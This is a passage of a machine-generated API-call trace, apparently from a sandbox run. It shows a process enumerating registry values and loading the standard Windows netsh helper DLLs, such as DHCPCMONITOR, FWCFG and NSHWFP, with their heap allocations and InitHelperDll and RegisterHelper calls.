	[0218.408] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="dhcpclient", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0218.408] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5
	[0218.408] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc8) returned 0x1fa72878ed0
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x16) returned 0x1fa728859a0
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x22) returned 0x1fa728796d0
	[0218.408] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL"
	[0218.408] GetProcessHeap () returned 0x1fa72860000
	[0218.408] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72862830) returned 1
	[0218.408] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8549a0000
	[0218.811] GetProcAddress (hModule=0x7ff8549a0000, lpProcName="InitHelperDll") returned 0x7ff8549a1610
	[0218.811] InitHelperDll () returned 0x0
	[0218.811] RegisterHelper () returned 0x0
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x4d0) returned 0x1fa728866f0
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287d370) returned 1
	[0218.811] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="dot3cfg", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0218.811] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5
	[0218.811] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xf0) returned 0x1fa728642e0
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72885be0
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728858c0
	[0218.811] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL"
	[0218.811] GetProcessHeap () returned 0x1fa72860000
	[0218.811] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72878ed0) returned 1
	[0218.811] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850a00000
	[0219.798] GetProcAddress (hModule=0x7ff850a00000, lpProcName="InitHelperDll") returned 0x7ff850a01100
	[0219.798] InitHelperDll () returned 0x0
	[0219.798] RegisterHelper () returned 0x0
	[0219.798] GetProcessHeap () returned 0x1fa72860000
	[0219.798] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x528) returned 0x1fa728873e0
	[0219.799] GetProcessHeap () returned 0x1fa72860000
	[0219.799] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728866f0) returned 1
	[0219.799] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="fwcfg", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0219.799] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3
	[0219.799] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3
	[0219.799] GetProcessHeap () returned 0x1fa72860000
	[0219.799] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x118) returned 0x1fa72879a70
	[0219.799] GetProcessHeap () returned 0x1fa72860000
	[0219.799] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc) returned 0x1fa72885e40
	[0219.799] GetProcessHeap () returned 0x1fa72860000
	[0219.799] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x14) returned 0x1fa72885a20
	[0219.799] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL"
	[0219.799] GetProcessHeap () returned 0x1fa72860000
	[0219.799] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728642e0) returned 1
	[0219.799] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b140000
	[0220.795] GetProcAddress (hModule=0x7ff84b140000, lpProcName="InitHelperDll") returned 0x7ff84b1411f0
	[0220.795] InitHelperDll () returned 0x0
	[0220.795] RegisterHelper () returned 0x0
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x580) returned 0x1fa72887910
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728873e0) returned 1
	[0220.795] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="hnetmon", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0220.795] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1
	[0220.795] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x140) returned 0x1fa7287aba0
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa728859e0
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728857e0
	[0220.795] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL"
	[0220.795] GetProcessHeap () returned 0x1fa72860000
	[0220.795] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72879a70) returned 1
	[0220.795] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff851200000
	[0222.671] GetProcAddress (hModule=0x7ff851200000, lpProcName="InitHelperDll") returned 0x7ff851202060
	[0222.671] InitHelperDll () returned 0x0
	[0222.671] RegisterHelper () returned 0x0
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x5d8) returned 0x1fa7288fc80
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72887910) returned 1
	[0222.672] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="netiohlp", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0222.672] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5
	[0222.672] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x168) returned 0x1fa728873e0
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72885720
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa728866b0
	[0222.672] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL"
	[0222.672] GetProcessHeap () returned 0x1fa72860000
	[0222.672] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0222.672] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b100000
	[0224.311] GetProcAddress (hModule=0x7ff84b100000, lpProcName="InitHelperDll") returned 0x7ff84b115f80
	[0224.311] InitHelperDll () returned 0x0
	[0224.311] RegisterHelper () returned 0x0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x630) returned 0x1fa72891a80
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fc80) returned 1
	[0224.311] RegisterHelper () returned 0x0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x688) returned 0x1fa728920c0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72891a80) returned 1
	[0224.311] RegisterHelper () returned 0x0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x6e0) returned 0x1fa72892750
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728920c0) returned 1
	[0224.311] RegisterHelper () returned 0x0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x738) returned 0x1fa72891a80
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892750) returned 1
	[0224.311] RegisterHelper () returned 0x0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.311] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x790) returned 0x1fa728921c0
	[0224.311] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72891a80) returned 1
	[0224.312] RegisterHelper () returned 0x0
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x7e8) returned 0x1fa72892960
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728921c0) returned 1
	[0224.312] RegisterHelper () returned 0x0
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x840) returned 0x1fa72893150
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892960) returned 1
	[0224.312] RegisterHelper () returned 0x0
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x898) returned 0x1fa72891a80
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72893150) returned 1
	[0224.312] RegisterHelper () returned 0x0
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8f0) returned 0x1fa72892320
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72891a80) returned 1
	[0224.312] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="nettrace", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0224.312] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5
	[0224.312] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5
	[0224.312] GetProcessHeap () returned 0x1fa72860000
	[0224.312] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x190) returned 0x1fa7287aba0
	[0224.313] GetProcessHeap () returned 0x1fa72860000
	[0224.313] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72885c80
	[0224.313] GetProcessHeap () returned 0x1fa72860000
	[0224.313] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa72890910
	[0224.313] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL"
	[0224.313] GetProcessHeap () returned 0x1fa72860000
	[0224.313] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728873e0) returned 1
	[0224.313] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846260000
	[0225.652] GetProcAddress (hModule=0x7ff846260000, lpProcName="InitHelperDll") returned 0x7ff8462615d0
	[0225.652] InitHelperDll () returned 0x0
	[0225.652] RegisterHelper () returned 0x0
	[0225.652] GetProcessHeap () returned 0x1fa72860000
	[0225.652] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x948) returned 0x1fa728a86a0
	[0225.652] GetProcessHeap () returned 0x1fa72860000
	[0225.652] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892320) returned 1
	[0225.652] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="nshhttp", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0225.653] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5
	[0225.653] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5
	[0225.653] GetProcessHeap () returned 0x1fa72860000
	[0225.653] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1b8) returned 0x1fa728873e0
	[0225.653] GetProcessHeap () returned 0x1fa72860000
	[0225.653] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72891ff0
	[0225.653] GetProcessHeap () returned 0x1fa72860000
	[0225.653] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa72891c30
	[0225.653] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL"
	[0225.653] GetProcessHeap () returned 0x1fa72860000
	[0225.653] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0225.653] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850f20000
	[0226.077] GetProcAddress (hModule=0x7ff850f20000, lpProcName="InitHelperDll") returned 0x7ff850f210e0
	[0226.077] InitHelperDll () returned 0x0
	[0226.077] RegisterHelper () returned 0x0
	[0226.077] GetProcessHeap () returned 0x1fa72860000
	[0226.077] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x9a0) returned 0x1fa728a8ff0
	[0226.077] GetProcessHeap () returned 0x1fa72860000
	[0226.077] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a86a0) returned 1
	[0226.077] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="nshipsec", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0226.078] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5
	[0226.078] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5
	[0226.078] GetProcessHeap () returned 0x1fa72860000
	[0226.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e0) returned 0x1fa7287aba0
	[0226.078] GetProcessHeap () returned 0x1fa72860000
	[0226.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72891ef0
	[0226.078] GetProcessHeap () returned 0x1fa72860000
	[0226.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa72896f80
	[0226.078] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL"
	[0226.078] GetProcessHeap () returned 0x1fa72860000
	[0226.078] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728873e0) returned 1
	[0226.078] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff844550000
	[0227.072] GetProcAddress (hModule=0x7ff844550000, lpProcName="InitHelperDll") returned 0x7ff844551250
	[0227.072] InitHelperDll () returned 0x0
	[0227.072] RegisterHelper () returned 0x0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x9f8) returned 0x1fa728aa9b0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a8ff0) returned 1
	[0227.072] RegisterHelper () returned 0x0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xa50) returned 0x1fa728ab3b0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aa9b0) returned 1
	[0227.072] RegisterHelper () returned 0x0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xaa8) returned 0x1fa728a86a0
	[0227.072] GetProcessHeap () returned 0x1fa72860000
	[0227.072] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ab3b0) returned 1
	[0227.082] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="nshwfp", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0227.082] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5
	[0227.082] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5
	[0227.082] GetProcessHeap () returned 0x1fa72860000
	[0227.082] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x208) returned 0x1fa7288fec0
	[0227.082] GetProcessHeap () returned 0x1fa72860000
	[0227.082] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe) returned 0x1fa72892090
	[0227.082] GetProcessHeap () returned 0x1fa72860000
	[0227.082] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x16) returned 0x1fa72891b70
	[0227.082] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL"
	[0227.082] GetProcessHeap () returned 0x1fa72860000
	[0227.082] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7287aba0) returned 1
	[0227.082] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff844490000
	[0228.392] GetProcAddress (hModule=0x7ff844490000, lpProcName="InitHelperDll") returned 0x7ff8444910d0
	[0228.392] InitHelperDll () returned 0x0
	[0228.409] RegisterHelper () returned 0x0
	[0228.409] GetProcessHeap () returned 0x1fa72860000
	[0228.409] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xb00) returned 0x1fa728aba10
	[0228.409] GetProcessHeap () returned 0x1fa72860000
	[0228.409] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a86a0) returned 1
	[0228.409] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="p2pnetsh", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0228.409] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7
	[0228.410] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7
	[0228.410] GetProcessHeap () returned 0x1fa72860000
	[0228.410] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x230) returned 0x1fa728ac520
	[0228.410] GetProcessHeap () returned 0x1fa72860000
	[0228.410] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72891f90
	[0228.410] GetProcessHeap () returned 0x1fa72860000
	[0228.410] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa728929d0
	[0228.410] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL"
	[0228.410] GetProcessHeap () returned 0x1fa72860000
	[0228.410] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fec0) returned 1
	[0228.410] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff844450000
	[0229.332] GetProcAddress (hModule=0x7ff844450000, lpProcName="InitHelperDll") returned 0x7ff8444511e0
	[0229.332] InitHelperDll () returned 0x0
	[0229.332] RegisterHelper () returned 0x0
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xb58) returned 0x1fa728ae770
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aba10) returned 1
	[0229.332] RegisterHelper () returned 0x0
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xbb0) returned 0x1fa728af2d0
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ae770) returned 1
	[0229.332] RegisterHelper () returned 0x0
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc08) returned 0x1fa728afe90
	[0229.332] GetProcessHeap () returned 0x1fa72860000
	[0229.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af2d0) returned 1
	[0229.332] RegisterHelper () returned 0x0
	[0229.333] GetProcessHeap () returned 0x1fa72860000
	[0229.333] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xc60) returned 0x1fa728ae770
	[0229.333] GetProcessHeap () returned 0x1fa72860000
	[0229.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728afe90) returned 1
	[0229.368] RegisterHelper () returned 0x0
	[0229.368] GetProcessHeap () returned 0x1fa72860000
	[0229.368] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xcb8) returned 0x1fa728af3e0
	[0229.369] GetProcessHeap () returned 0x1fa72860000
	[0229.369] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ae770) returned 1
	[0229.369] RegisterHelper () returned 0x0
	[0229.369] GetProcessHeap () returned 0x1fa72860000
	[0229.369] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xd10) returned 0x1fa728b00a0
	[0229.369] GetProcessHeap () returned 0x1fa72860000
	[0229.369] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af3e0) returned 1
	[0229.369] RegisterHelper () returned 0x0
	[0229.369] GetProcessHeap () returned 0x1fa72860000
	[0229.369] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xd68) returned 0x1fa728ae770
	[0229.369] GetProcessHeap () returned 0x1fa72860000
	[0229.369] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b00a0) returned 1
	[0229.371] RegisterHelper () returned 0x0
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.371] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xdc0) returned 0x1fa728af4e0
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.371] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ae770) returned 1
	[0229.371] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="rpc", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0229.371] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9
	[0229.371] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.371] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x258) returned 0x1fa7288fec0
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.371] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x8) returned 0x1fa7286dae0
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.371] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x16) returned 0x1fa72891fb0
	[0229.371] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL"
	[0229.371] GetProcessHeap () returned 0x1fa72860000
	[0229.372] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ac520) returned 1
	[0229.372] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8508d0000
	[0229.729] GetProcAddress (hModule=0x7ff8508d0000, lpProcName="InitHelperDll") returned 0x7ff8508d1010
	[0229.729] InitHelperDll () returned 0x0
	[0229.729] RegisterHelper () returned 0x0
	[0229.729] GetProcessHeap () returned 0x1fa72860000
